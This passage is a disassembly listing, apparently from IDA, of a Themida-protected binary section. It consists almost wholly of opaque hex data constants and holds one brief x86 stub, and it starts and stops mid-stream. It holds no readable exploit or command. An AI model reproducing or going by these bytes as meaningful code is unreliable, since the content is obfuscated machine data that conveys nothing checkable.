3, 58C35820h dd 4244489h, 4244481h, 1Ch, 12C35040h, 0DAC255A9h, 7F571CF8h dd 68B0F60h, 89000000h, 150FF59Dh, 5D686106h, 0F6AF435h dd 1288h, 0DE900h, 9CD40000h, 7DCA1BC2h, 4EB9F724h, 819AC313h dd 36A22434h, 0DF816AEBh, 2ABB0A95h, 0DAD95FFh, 0BE90615h dd 56000000h, 4C13B1E7h, 62B365D2h, 8589CC7Dh, 618BF99h dd 0BE9h, 64D6F400h, 5939FBAEh, 75E2D203h, 1F1E9h, 6FD78100h dd 8B7DB71Eh, 18BF9185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 6BEEAF67h, 58BF30F1h dd 1F9B531h, 0C70615h, 18h, 9D895760h, 6151041h, 0B58B6158h dd 618BF95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 8C35040h, 667C2C59h, 0C45858Bh, 0F8560615h, 1595895Fh dd 8906150Ah, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 9C7A1B52h, 0ADBD8988h, 66061505h dd 858BD88Bh, 615249Dh, 0E83EBF66h, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 4854C353h, 880F9602h, 10h, 0AE8h, 15E92B00h, 9160C899h dd 5BF00BA2h, 7E850h, 4F990000h, 529DACC7h, 7ABF661Eh dd 6A965BAEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 8301C355h, 4AC79DABh, 9529F453h dd 61515E1h, 0BF91B5FFh, 81660618h, 68EE86CBh, 9DFDB84Fh dd 481DC8Ah, 214BB024h, 56006A62h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 43861F70h, 73FB18AEh dd 13E8C3h, 0B9BD0000h, 36DDB934h, 711E190h, 0BAEAAA3Bh dd 0EE9CA00Ch, 0D781601Ah, 1A216344h, 3C5B501h, 5B610615h dd 29798D01h, 858D0615h, 618BF99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0F5C35141h, 0F6A704AAh, 5F579570h dd 20ED8589h, 81660615h, 90DA6AF3h, 50F98B66h, 0FE8h, 0FEA7FC00h dd 133BFEF5h, 42BE833Eh, 2A3A727h, 905FA8B3h, 19899501h dd 95FF0615h, 6150DADh, 8218D89h, 81610615h, 6F4785C7h dd 1585C74Dh, 3061511h, 8B000000h, 0B5BD8BF8h, 8306152Ah dd 18BF99BDh, 840F0006h, 46h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0CCC35141h, 0E905B7D2h, 3Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h dd 28998529h, 30500615h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 33D88AA8h, 151E71BDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 2EE4CC7Bh, 83F9F244h, 151115BDh, 850F0306h dd 3D6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0D8C35040h, 94953B28h, 0F8AA3F90h, 0BF99BD83h dd 0F000618h, 3A584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0E1950152h, 8B061526h dd 152DD1BDh, 99B5FF06h, 6A0618BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E97BC356h dd 0Dh, 24BB1240h, 973D3EA5h, 0EFB3407Fh, 0E195FFB3h, 6A061510h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8B02C357h, 18BF8DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0DBBF0F64h dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0A435DEC3h, 2C3B319Eh, 60253766h dd 2EC18D01h, 0BD890615h, 6152489h, 8B519661h, 0F505BFAh dd 587h, 0BE30BF00h, 6A966F3Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 2877C350h, 4F220240h dd 6860F56h, 89000000h, 152DDDBDh, 99B5FF06h, 6A0618BFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 4D54C355h, 0FFFABF0Fh, 1506A195h, 559D8906h dd 8B06152Ah, 18BF8DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0CC4E2855h, 0A257249h dd 858B2491h, 6150059h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 7CC35040h, 0F3D08752h, 0E28AEF54h, 0C48689F5h dd 8B000000h, 21958BDAh, 66061527h, 7C40C781h, 8B04C283h dd 1533B1BDh, 20508906h, 6E9h, 5C3B8100h, 8D144F50h, 18D45885h dd 6DBD8906h, 89061519h, 0B886h, 0FDB58900h, 6A06150Ch dd 0FFFC8A00h, 18BF99B5h, 0F937BF06h, 95FF3E84h, 6151D4Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FFC35242h dd 0EB02EB2Bh, 18E944FBh, 0DE86Ch, 5FDD0000h, 13626145h dd 7B52A837h, 8146E1DFh, 4D9D8D7h, 0A1BB5F0Bh, 5061B451h dd 348972B3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0FD2CC835h, 5FCB81F8h, 892F60BEh dd 1526659Dh, 99B5FF06h, 660618BFh, 0FF8329BBh, 15072995h dd 65BD8306h, 61500h, 5F840Fh, 0BD8B0000h, 61518BDh, 8E850FCh dd 4E000000h, 39C81815h, 0FAB66D8h, 1989h, 14E900h dd 8CEC0000h, 500DEB1Ch, 84CC9BF6h, 0C1043C83h, 0E523CE08h dd 895B8FABh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 8B3AB9C3h, 0A9E54939h, 8BF598E6h dd 99B5FFFEh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 9FB0C356h, 0C2166017h dd 2625B589h, 95FF0615h, 6150439h, 0E47F47BBh, 99B5FF57h dd 90618BFh, 1503658Dh, 2800F06h, 8B000000h, 0CD95FFD9h dd 6A06150Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0C248C352h, 21935E0Fh, 2913BBFFh dd 1510ED85h, 5DBD8306h, 2061528h, 20840Fh, 0BF0F0000h dd 49858BDAh, 60061528h, 0B5D18166h, 0C661F5D7h, 9D8B0000h dd 6150081h, 0DB19589h, 85C70615h, 61523F5h, 0 dd 19B99D8Bh, 0C1E90615h, 6AFFFFF3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39C6C350h dd 0C042C17Eh, 0C18B006Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0BDC35747h, 5B122004h, 0DD168583h, 659D8BFDh dd 0F061528h, 68Eh, 0AD9D8B00h, 0E8061505h, 10h, 42A032C3h dd 0DD6FD429h, 3727525Ch, 0AC79ADACh, 2FD18166h, 0BAB25EB7h dd 75A3C681h, 0BE80000h, 0F9000000h, 0AF0CB730h, 0C3715E3Dh dd 860F43B0h, 6, 0DE5BD29h, 0B85A0615h, 0 dd 123ED0BFh, 3034FF3Fh, 38D8D8Bh, 0E85B0615h, 9, 75FDC3ECh dd 976AC6Ah, 0D08B6693h, 4DEB815Fh, 91886ACh, 151291BDh dd 48EB8106h, 66552248h, 81A38BBAh, 0F81405C3h, 0EE8530Dh dd 6C000000h, 0F06B9F14h, 49A834A2h, 8344C586h, 48F5F7Ch dd 0E025B906h, 0DE92B4Fh, 5C000000h, 0F7B41ECFh, 8E6C7B49h dd 47B4AE07h, 0BF9EE881h, 85013234h, 61508F1h, 0BF9AC081h dd 81F93234h, 0FF8B24F8h, 7A850FFFh, 0BAFFFFFFh, 0F0113000h dd 0EA81h, 0C283F000h, 99958914h, 8306152Fh, 858D14EAh dd 61A48DAh, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 318589C8h, 3061500h, 0B70F3C40h, 95890650h, 6151D79h dd 8950508Bh, 15023195h, 0F80506h, 508B0000h, 89D1030Ch dd 15119D95h, 8500306h, 99D9589h, 8F640615h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 9CDBD83h, 0F000615h, 2484h, 0C585C600h, 47061509h, 9AA7D268h dd 11B5FFD4h, 8D061528h, 1872BC85h, 6AD0FF06h, 89D0FF00h dd 150A3D85h, 8DD38B06h, 1A49CC8Dh, 0A1958906h, 5106150Ah dd 8D895BF9h, 6152721h, 11F9BD03h, 85C70615h, 61504CDh dd 70E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0A5C35242h, 20C5B58Bh, 85C70615h, 6151115h, 0 dd 0AE8h, 0BEB1F800h, 0C7C806E0h, 0FC5254Fh, 281h, 5A5B5000h dd 2E0DB5FFh, 9D0B0615h, 6152401h, 2C995FFh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 64958BC3h, 3CDA0E67h, 9D893C8Dh, 615073Dh, 95FF006Ah db 21h, 2Eh, 15h byte_5CE3FB db 6 ; DATA XREF: Themida_:0057A16Co ; Themida_:0057C6C0o dd 7CEBC08Bh, 2701571Eh, 7DADC83Ch, 35F3DFFDh, 1D2181A7h dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h, 603D7150h dd 0CAC985FCh, 0A2727453h, 0F8B9A9AEh, 249F0775h, 0CFDA9389h dd 442B9A2Ch, 0E988B999h, 0C846BB64h, 0A9286687h, 24101CA3h dd 8279EBD8h, 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 53F20ECFh dd 0CA7127BCh, 0C772C3EBh, 210AA99h, 89118BD2h, 4798F8E6h dd 0AAC11651h, 25E51D28h, 4B338D8Dh, 6A061Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 63BDA8C3h dd 958BF7BBh, 6150975h, 27218D89h, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66A5A2C3h dd 8E0FD38Bh, 3, 0C7F6BF0Fh, 1504CD85h, 69F006h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 33057974h, 2BEEBCCCh, 150429BDh, 0C7DAB006h, 15111585h dd 6, 9D896000h, 6152C91h, 28E0Fh, 61600000h, 0BDB5FF61h dd 6A06152Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 1BE0C352h, 8372A7D0h, 362662D2h dd 0DDC28166h, 0C995FFF6h, 6A061502h, 2195FF00h, 8B06152Eh dd 891BEBC0h, 9228A9EFh, 0EC3681C2h, 8A147985h, 3CAF2519h dd 0CC67C2B0h, 7BCDB2B0h, 17E9E320h, 7E000000h, 763BB0h dd 4 dup(0) dd 3E90000h, 98000005h, 58C7AE1Eh, 978C69D9h, 60CFA616h dd 8EA570E0h, 0C2D9BC2Ch, 0E454D6C9h, 2D9D2211h, 0E959DB48h dd 2494170Ch, 0ED588651h, 169CB9A4h, 2476C647h, 525F57C7h dd 0A0BE80F0h, 86F2FC25h, 65AE7F10h, 0ADA29404h, 281AEBDh dd 2C8FA492h, 8697ABCh, 9B029E98h, 0C0309334h, 1D7EFE35h dd 86F263A6h, 16390A10h, 4201DB7Fh, 1086F21Fh, 0F280C97Ch dd 5A6B1086h, 3861E4E6h, 0C31086F2h, 0FC2DDDF2h, 0E54E1080h dd 0BD771383h, 0E3D343A4h, 4500DEE0h, 1086F21Ch, 751CCEDFh dd 8FFF7D4Ah, 0E84F64E6h, 22A19278h, 0F2DF02C1h, 8D9E1086h dd 10C0B9AAh, 0F3DCE639h, 4D1C40C3h, 0D75E1086h, 0D8DC61E8h dd 357E97A8h, 82A248B8h, 72h, 57C72496h, 0F2BFE45Fh, 3ABB1086h dd 0EE525F93h, 5E71E162h, 8836758h, 97A81AA5h, 0A2Bh, 40342100h dd 9166E511h, 24A58D7Dh, 288955C5h, 615E58C8h, 9BC18B89h dd 86F2E128h, 1C9F8C10h, 2AE783ACh, 44B43BC7h, 64527D52h dd 6579E94Fh, 0F285CC77h, 84FF1086h, 38572391h, 0A94152CEh dd 416CF36Bh, 0ABB32386h, 0D9B12186h, 960665BAh, 0C62439FFh dd 6748B83Ah, 4FBF422Fh, 51C1426Fh, 0D5BC7BB9h, 0FC5DDDEAh dd 64C131B7h, 1086F23Dh, 74CFEFC0h, 1086F22Dh, 45D0FFD0h dd 411D8DEEh, 462494F0h, 0EA5ADBC8h, 0FCE34EACh, 0A81C104Dh dd 845897h, 5D560000h, 9C806ADAh, 6056C624h, 48B8357Eh dd 4251636Fh, 7119AF98h, 61E445C0h, 1086E638h, 0D9DDF2C3h dd 390C6DC8h, 1086E610h, 0B1E5CADBh, 1CF799E4h, 868DD410h dd 7E82B424h, 753BA817h, 0AA08BFEEh, 66C45B3Ah, 0C9E656DAh dd 41D6FFCDh, 5F86089h, 9C1C0DFDh, 2990EA2Ch, 3B1B3CB6h dd 0BA7CB2FAh, 237635D5h, 8997A8A3h, 2Dh, 56C6249Dh, 0B4357E60h dd 765A644h, 73269F97h, 87F77B4Ch, 0C5244AEEh, 0BAE26155h dd 0B81086F2h, 2EBB8E41h, 0B697A81Ah, 1, 59C924D2h, 446D6F5Dh dd 8BCE77E7h, 721086F2h, 0EB48C9A1h, 0C3263B7Bh, 0E94E6353h dd 137A3D79h, 0A70E37ACh, 0A22E8F38h, 0F99CB323h, 1DD0DB1h dd 0E454D6DBh, 0D343C1B2h, 3E63E2FCh, 0BD1086F2h, 879FFEECh dd 34169BFCh, 0C0A7AFFh, 56675733h, 80F05360h, 0E74869F5h dd 15969377h, 0BBBC99A5h, 0B82BEABEh, 1FA6907Ah, 169377F8h dd 1BAC1386h, 0D64D2898h, 0C0B1E555h, 24E3D343h, 2685426Dh dd 77DBFEC5h, 75A21693h, 0BF9086F6h, 0AD1DA390h, 3BBEF382h dd 0DB9DBD9Fh, 11FD98FAh, 4327BC8Ch, 0F8D7h, 0BABB300h dd 304003DBh, 0CD169BF6h, 0F611380Bh, 0CBDC1693h, 42C1B2E4h dd 8FEC43D2h, 0A90A171Fh, 0AB0C2539h, 22E54F3Bh, 83446Bh dd 4DB00590h, 0D39DBD1Eh, 47h, 0C20EABE7h, 0DFFFD040h dd 130373D2h, 370E503Ah, 9086F232h, 8D6E8B9h, 0DCDA4AABh dd 0F21F42E3h, 0CDDE9086h, 0E3C6CAEAh, 8E7C5965h, 94FC25A0h dd 98FF9086h, 28582925h, 944AAF16h, 20F11086h, 7B6F55h dd 0AB4B0000h, 4003DB0Bh, 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah dd 3A5FE647h, 581693E6h, 0D80A2CE3h, 0CAB7699Bh, 0C3BCFA6Ah dd 70D3C3ECh, 1693502Eh, 4B7C63D6h, 0D9D78E8h, 8AEB4869h dd 82231C1Ah, 1693565Fh, 1C220D1Eh, 0B499DCA9h, 484E5F10h dd 60D02D86h, 80B15936h, 0A0A39303h, 8B17959Eh, 9E98B727h dd 0E3269DA1h, 8A1CA91Dh, 0F7E6D1B9h, 6777A757h, 8ED209DCh dd 0DABB8C1Ah, 0DB0BAB4Eh, 3DA54003h, 673816A1h, 51C1422Fh dd 0A40C6FC4h, 2F967CEEh, 169CB3EAh, 8EB78091h, 340A253Ah dd 0A4350523h, 0BA5000D5h, 6EF2F97Ch, 8DEC86B2h, 6C70992Ch dd 2AFB66BAh, 0A1201105h, 92F90531h, 71F8B82Bh, 0BA2A893Eh dd 0C60BBAA4h, 0A566BA6Ch, 0A9199F94h, 8BA8B2C1h, 817EB828h dd 5BCB28E9h, 72E2465Bh, 0E5D84144h, 24F161E2h, 0FA3CAC0Fh dd 7AA84314h, 0BB42240Fh, 10F3CFh, 4FC70000h, 0F293B68Dh dd 2D5A1086h, 98725DCDh, 0CA2496A6h, 0E4475C5Ah, 0D3314274h dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h dd 0EA4F6452h, 56783C7Ah, 0C681E689h, 4, 8704EE83h, 895C2434h dd 89572404h, 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h dd 4D256824h, 4890000h, 0B685124h, 596D0B76h, 2B60C181h dd 0F1817278h, 0D999EA1Fh, 0C8BCB89h, 4C48124h, 68000000h dd 254h, 83242489h, 58042404h, 89DA8952h, 148B0850h, 4C48324h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- dw 1A84h dd 2D8795A4h, 0D7829140h, 0E4B8B2A3h, 3061A4Fh, 74E0FFC5h dd 0EF4B5037h, 0AA68A2FAh, 1663560Ch, 54179EE1h, 0E03809EFh dd 7C21BB55h, 0DE6ADCA5h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338D2FF6h dd 0FFB44E60h, 0F867A5E4h, 0A08D0E22h, 2124A3BEh, 7967202Bh dd 0D91DA3BAh, 0D71B2026h, 338D2FFEh, 831D2933h, 0C0982633h dd 0BCC88AB6h, 0D6157635h, 0AF8276ADh, 510DD963h, 839E333Eh dd 35982664h, 1F152359h, 4B82769Dh, 381DAB63h, 39E3C63h dd 0AD29B3CCh, 14932026h, 6AA1A23Ch, 0B0152633h, 9C82769Dh dd 4DAACE63h, 0F6D82633h, 32CA3BEh, 24C82029h, 0CEC888B6h dd 0FF677635h, 338D091Ah, 1794E2B0h, 57C888B6h, 23157635h dd 558276ADh, 2C0DD963h, 3D9E333Eh, 6A982651h, 6474AD66h dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C8276AFh dd 1C49ABBEh, 93202029h, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 61A51D1h, 51F08D8Dh dd 0CF2B061Ah, 8B05E983h, 0AE8C8h, 1EBD0000h, 20ADBD5Ah dd 0D991D965h, 91958959h, 81061533h, 71CEC1h, 68D78B00h dd 0 dd 99A2F081h, 0FC5B1D1Ch, 8019348Bh, 0F68118DEh, 5459A010h dd 5462D081h, 0EE81469Dh, 49CDF69Fh, 1B7C681h, 0C38B69C5h dd 1958956h, 8F06152Dh, 81661904h, 0BAFB9DAh, 1518F595h dd 41EB8106h, 896C3CF2h, 152489B5h, 3DC38106h, 0F6C3CF2h dd 581h, 0C7816600h, 0FB81547Dh, 0FFFF8EB8h, 0FFA2850Fh dd 9529FFFFh, 6151431h, 5E8h, 61A7E00h, 8B667AA2h, 890F5ECAh dd 0 aBM db 'Æm^',0 align 2 aCh db '¶–h',0 align 10h dd 2FA0B900h, 665F37BAh, 34FFCB8Bh, 3266BA37h, 89584B4Ah dd 15272DB5h, 0C08106h, 0B7758370h, 0B9C08114h, 8B1DF480h dd 1513398Dh, 91E88106h, 0BA1CDC55h, 6742AF97h, 0CD8D0950h dd 8F061516h, 0D6803E04h, 2FDA8115h, 8349BF69h, 8D8B04EFh dd 615216Dh, 0A24CFF81h, 850FFFFFh, 11h, 28B18D89h, 37E90615h dd 0F4000000h, 0A7853A9Bh, 13E8D1h, 0D4720000h, 568C5E3Eh dd 0AA52F1BDh, 2F4121Bh, 74D2D5CEh, 9D958933h, 59061518h dd 0FFFF75E9h, 9FC165FFh, 0A294EF7Eh, 91CE8630h, 6E993E0h dd 5F000000h, 24D286h, 428E900h, 0F7770000h, 0C041EE87h dd 0F6EC550h, 0C729F69Fh, 1171BE57h, 0D4D7D4A1h, 0CE959D9h dd 55209017h, 7EE5EDEh, 4A2B9B18h, 0ABEE5579h, 52169CA1h dd 0C724AB91h, 0F0525F57h, 0BD3EF580h, 0DB58494Dh, 0B3362B6Bh dd 0B3367B43h, 0F16DA743h, 2784436Ah, 0F351DEB7h, 0BF3DF283h dd 0D55A474Fh, 0E3523165h, 5DE8F6FCh, 1086F234h, 704E6B7h dd 0D36035A5h, 0AF160070h, 1086F26Fh, 86C3EA8Bh, 97A81A23h dd 0E72A99C3h, 0F91086FEh, 899A0676h, 5841E1h, 4F550000h dd 0F293B68Dh, 2D5A1086h, 67585ECEh, 1271A248h, 3C29CA2h dd 1086F2DEh, 0A414709Dh, 0BA2A888Bh, 2DE7837Ch, 86F281C6h dd 6954E510h, 0A81A5DE0h, 1E397h, 24B70000h, 506155C5h dd 9C9581F1h, 0F66AAC1Ch, 2287406Fh, 3A77E3B2h, 704D49B9h dd 0AA1A999Ah, 0C6245DCBh, 0EE536056h, 1881387Eh, 83E44DA5h dd 402A2313h, 16FF6FD3h, 9C1EAA09h, 3A15EA2Ch, 1686E7FCh dd 0C0EFAA20h, 0A81C5489h, 7F9C97h, 24700000h, 536056C6h dd 1C9482F2h, 6BC82A95h, 40F19909h, 6CC352C2h, 8B989E0Eh dd 88A9B525h, 0A5A0B727h, 0EA184886h, 0F94FBDADh, 5FBA8F3Eh dd 0C597A8D3h, 65h, 0E2624FE1h, 9F4B4472h, 76A01072h, 0AF8FFF7Dh dd 3759B6A6h, 0D9E5DA4Eh, 8615276Ah, 15F5C610h, 3BAB0A17h dd 6FB211FBh, 0E108615h, 0E672F63Dh, 2E1F1787h, 9B01501h dd 3A6515D6h, 0A2170308h, 406F1A8Dh, 0E2B32387h, 0DD624F56h dd 2D8C7D6Dh, 0D2FA79BDh, 101086F2h, 0A61336A9h, 2E97A81Ah dd 1, 3DC9240Ah, 734C4ABAh, 0DE55825Ch, 9128FDACh, 849D9773h dd 0AEA7B727h, 725A0ACBh, 9D9773FFh, 7C0EF96h, 575F36A6h dd 756777A7h, 0B951C13Ch, 9BF83A0Ah, 0CA793B16h, 1693FD87h dd 16A15D66h, 86162F44h, 9A0A6AA9h, 137081B5h, 0DE5DD2A3h dd 0E163506Eh, 189B9971h, 1693E9F3h, 22A51881h, 0CF6431A1h dd 0A9BAFC6Ch, 1DDCDA4Ah, 0FD7E4974h, 30BDE88Dh, 0B89DBD35h dd 0FCh, 0BF0BABD4h, 0DCE2CD3Dh, 9BF60969h, 0B3E3B416h dd 28CD3DBEh, 0AC1778FBh, 1693F665h, 1E183708h, 36A605h dd 6A5D5049h, 6CC59909h, 0A1EC9E0Eh, 0BD1EA914h, 362F9Dh dd 0AB0B0000h, 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h dd 410DC067h, 0B78E5080h, 1086F2B2h, 7DED4C39h, 8A6B4439h dd 9C0C73C0h, 0B727899Ah, 8DD2F298h, 0E6000000h, 5EFF864Fh dd 0F563ACBEh, 0ABDB9B15h, 5B803093h, 0ECBD169Ch, 3A5E05D2h dd 0F7F1EC5Dh, 0AB081913h, 0C3F05A3Bh, 0EC1DCD3Dh, 35171F8Fh dd 7C26F120h, 7E35FBAh, 93AE729Ch, 7A066616h, 0BE8F87F7h dd 318CA591h, 7600D5C1h, 8DC637C9h, 614CD35Dh, 49742582h dd 0E88DFD7Eh, 0F0CEFEC2h, 0B4764055h, 63E0D110h, 96A717F3h dd 94046BC8h, 0C82B38F6h, 0CC2D8658h, 8580AE5Ch, 0D1A5A914h dd 83B32385h, 2A99A58Ah, 1A8EC3ABh, 101CF9CAh, 3DB0BABh dd 0A1455540h, 1F172816h, 0E353183Dh, 275CBEDAh, 0F52191ECh dd 42C17218h, 8FEC43D2h, 0B69C171Fh, 0A73555A2h, 0B93A8D40h dd 0F477AC49h, 1FA19284h, 0C28C67AFh, 15B01171h, 3865C1CCh dd 85B19EAFh, 8B7E288h, 29CC3CBFh, 41B10C25h, 0A1927855h dd 84B222h, 3, 244B2F1Ch, 475C5ACAh, 314274E4h, 3E3363D3h dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h dd 783C7AEAh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h dd 2C48h, 52243C89h, 0C281E289h, 4, 8704EA83h, 895C2414h dd 0BD55242Ch, 61A5353h, 2C8BEF89h, 4C48324h, 242C8B54h dd 5104C483h, 4D89F989h, 240C8B08h, 0FF04C483h, 835D2434h dd 3C8B04C4h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 26E4E95Ch, 53D4FFFBh, 0BD1A0F5Eh, 6B3C38EDh, 1B851DFh dd 3061A57h, 78E0FFC5h, 4B12B2D4h, 9F04B4EAh, 18325BA5h dd 525DE1AEh, 0B4FE1D3h, 8D7623E4h, 1A58438Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0F88F75F0h, 1FE13FBh, 150225B5h, 218D8906h, 60061527h dd 25B6D18Bh, 0CD85C761h, 70061504h, 6A00006Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A0BC350h, 89455887h, 15300195h, 1585C706h, 61511h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3D88C350h, 0B5FFD2F1h, 6150595h dd 2C995FFh, 6AF80615h, 2195FF00h, 8B06152Eh, 0BB6AEBC0h dd 28AB30DDh, 20F8DE34h, 226D46C6h, 97D33C40h, 0F9D8F285h dd 2DD9C992h, 839FFCD2h, 356D2B29h, 2CA65AF1h, 39B54323h dd 7F84B43h, 642B7AE8h, 685121ADh, 0A41A8445h, 402D8795h dd 0A3D78291h, 33AD8EB2h, 97D6F9D4h, 0D61584AEh, 3943875Bh dd 75F29051h, 556B6289h, 0D90D6A5Ch, 26999BE9h, 5BC075B3h dd 0A8F78D59h, 3D1D9D12h, 0E1E894F2h, 0B6E87CDAh, 75B79F32h dd 9294566Dh, 92AC6E36h, 0B6E8E036h, 75BFBC32h, 0C2B513FBh dd 85316BBBh, 351D7927h, 0A3E04A8Fh, 0BF9DDF34h, 0B54552B1h dd 0C2E8F127h, 3DBBAB2Bh, 0B2EB45F2h, 3361FE32h, 0B0FD6CB7h dd 1C7622BFh, 6517D925h, 0B6BB769h, 0B0FDF49Fh, 0E6FF8F32h dd 0B2EB4561h, 3361FE32h, 0B0FD6CB7h, 116522BFh, 6517D925h dd 4469B769h, 87283AFEh, 5EBEFB58h, 0B6E8FD31h, 0E82BA012h dd 0B2CC0BBBh, 0B2CCFBB3h, 0B6E8DF24h, 0F82BB974h, 865F23DCh dd 3D3A148Bh, 0B928760Dh, 3BEB278Dh, 0B0FD564Bh, 0DC303354h dd 0B5008832h, 96E8EF32h, 3FB7346Dh, 37ECDF4Eh, 0AEECD976h dd 0F1E8FE32h, 7582BC65h, 0B9D268D1h, 0B6E8D9BBh, 0EB55DC32h dd 3DEEE213h, 0A3E906BFh, 0B9EC5534h, 0B6EC3DB6h, 0B0627032h dd 3FE8BF32h, 0A3FD3E8Fh, 43556C34h, 0B6EEE226h, 0B6C07F3Dh dd 1301FD32h, 0DCE8FE36h, 0B5002832h, 96E8BF32h, 3FB71C6Dh dd 37ECCB4Eh, 0A3ECD376h, 0F1E8FB32h, 39D23E65h, 0B2C973BBh dd 0B6567927h, 0DCEABF15h, 0B5008F32h, 96E8EF32h, 3FB0346Ah dd 37ECDF76h, 0A3ECD976h, 0F6E8FE32h, 0E6BDBC62h, 675D3452h dd 3FEECA01h, 0A3FBA2A7h, 33659634h, 0B0F075A2h, 0BBBD68BBh dd 6617F827h, 0A22DEA19h, 3B63B927h, 0B0FDFEBFh, 32E72FB7h dd 0B6E8F7DEh, 0A56166BBh, 8E69FB27h, 4D699865h, 0B6DCFA3Dh dd 2B61BF32h, 0B0FDD5B3h, 0B2906E54h, 32E7F530h, 0B6E8FF53h dd 5EBFFD58h, 0B6E8FE31h, 0E92B2012h, 0B2CCC3BBh, 0B2CC9BB3h dd 0B6E8EF26h, 8F2BA075h, 36204C3Dh, 378EF2E0h, 0B988620Ah dd 0B6E8E4B7h, 0E3E8D532h, 0B6E8DCDAh, 75B5CF32h, 92847E6Fh dd 92AC7A36h, 0B6E8E536h, 75BDBB32h, 0A399C784h, 6557B083h dd 5EEAA7B2h, 0B6866A3Dh, 0BC00F732h, 0CBE8FB32h, 0BA2D8367h dd 40A42967h, 1775568Dh, 0ECEEAA18h, 0B0905E54h, 33E74432h dd 0B6E8F77Eh, 